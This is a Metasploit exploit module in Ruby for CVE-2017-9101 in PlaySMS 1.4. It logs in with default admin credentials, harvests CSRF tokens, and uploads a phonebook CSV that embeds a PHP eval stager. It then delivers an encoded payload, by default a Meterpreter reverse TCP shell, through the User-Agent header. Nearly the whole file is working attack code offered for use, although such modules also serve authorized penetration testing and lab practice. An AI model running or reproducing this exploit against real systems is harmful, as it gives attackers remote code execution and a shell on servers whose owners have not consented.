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## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'PlaySMS import.php Authenticated CSV File Upload Code Execution', 'Description' => %q{ This module exploits an authenticated file upload remote code excution vulnerability in PlaySMS Version 1.4. This issue is caused by improper file contents handling in import.php (aka the Phonebook import feature). Authenticated Users can upload a CSV file containing a malicious payload via vectors involving the User-Agent HTTP header and PHP code in the User-Agent. This module was tested against PlaySMS 1.4 on VulnHub's Dina 1.0 machine and Windows 7. }, 'Author' => [ 'Touhid M.Shaikh <touhidshaikh22[at]gmail.com>' # Discoverys and Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE','2017-9101'], ['URL','https://www.youtube.com/watch?v=KIB9sKQdEwE'], ['EDB','42044'] ], 'DefaultOptions' => { 'SSL' => false, 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'ENCODER' => 'php/base64', }, 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'PlaySMS 1.4', { } ], ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'May 21 2017')) register_options( [ OptString.new('TARGETURI', [ true, "Base playsms directory path", '/']), OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), OptString.new('PASSWORD', [ true, "Password to authenticate with", 'admin']) ]) end def uri return target_uri.path end def check begin res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'index.php') }) rescue vprint_error('Unable to access the index.php file') return CheckCode::Unknown end if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login') return Exploit::CheckCode::Appears end return CheckCode::Safe end def login res = send_request_cgi({ 'uri' => normalize_uri(uri, 'index.php'), 'method' => 'GET', 'vars_get' => { 'app' => 'main', 'inc' => 'core_auth', 'route' => 'login', } }) # Grabbing CSRF token from body /name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? vprint_good("X-CSRF-Token for login : #{csrf}") cookies = res.get_cookies vprint_status('Trying to Login ......') # Send Creds with cookies. res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'index.php'), 'cookie' => cookies, 'vars_get' => Hash[{ 'app' => 'main', 'inc' => 'core_auth', 'route' => 'login', 'op' => 'login', }.to_a.shuffle], 'vars_post' => Hash[{ 'X-CSRF-Token' => csrf, 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }.to_a.shuffle], }) fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil? # Try to access index page with authenticated cookie. res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'index.php'), 'cookie' => cookies, }) # if we redirect to core_welcome dan we assume we have authenticated cookie. if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_welcome') print_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}") store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD']) return cookies else fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]") end end # Tested successfully on Dina: 1.0.1 machine on vulnhub. # Link : https://www.vulnhub.com/entry/dina-101,200/ def exploit cookies = login # Agian CSRF token. res = send_request_cgi({ 'uri' => normalize_uri(uri, 'index.php'), 'method' => 'GET', 'cookie' => cookies, 'vars_get' => Hash[{ 'app' => 'main', 'inc' => 'feature_phonebook', 'route' => 'import', 'op' => 'list', }.to_a.shuffle] }) fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil? # Grabbing CSRF token from body /name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? vprint_good("X-CSRF-Token for upload : #{csrf}") # Payload. evil = "<?php $t=$_SERVER['HTTP_USER_AGENT']; eval($t); ?>" #making csv file body final_csv = "Name,Email,Department\n" final_csv << "#{evil},#{rand(1..100)},#{rand(1..100)}" # setup POST request. post_data = Rex::MIME::Message.new post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="X-CSRF-Token"') # CSRF token post_data.add_part(final_csv, content_type = 'text/csv', transfer_encoding = nil, content_disposition = 'form-data; name="fnpb"; filename="agent22.csv"')#payload data = post_data.to_s vprint_status('Trying to upload malicious CSV file ....') # Lets Send Upload request. res = send_request_cgi({ 'uri' => normalize_uri(uri, 'index.php'), 'method' => 'POST', 'agent' => payload.encode, 'cookie' => cookies, 'vars_get' => Hash[{ 'app' => 'main', 'inc' => 'feature_phonebook', 'route' => 'import', 'op' => 'import', }.to_a.shuffle], 'headers' => { 'Upgrade-Insecure-Requests' => '1', }, 'Connection' => 'close', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", }) end end |
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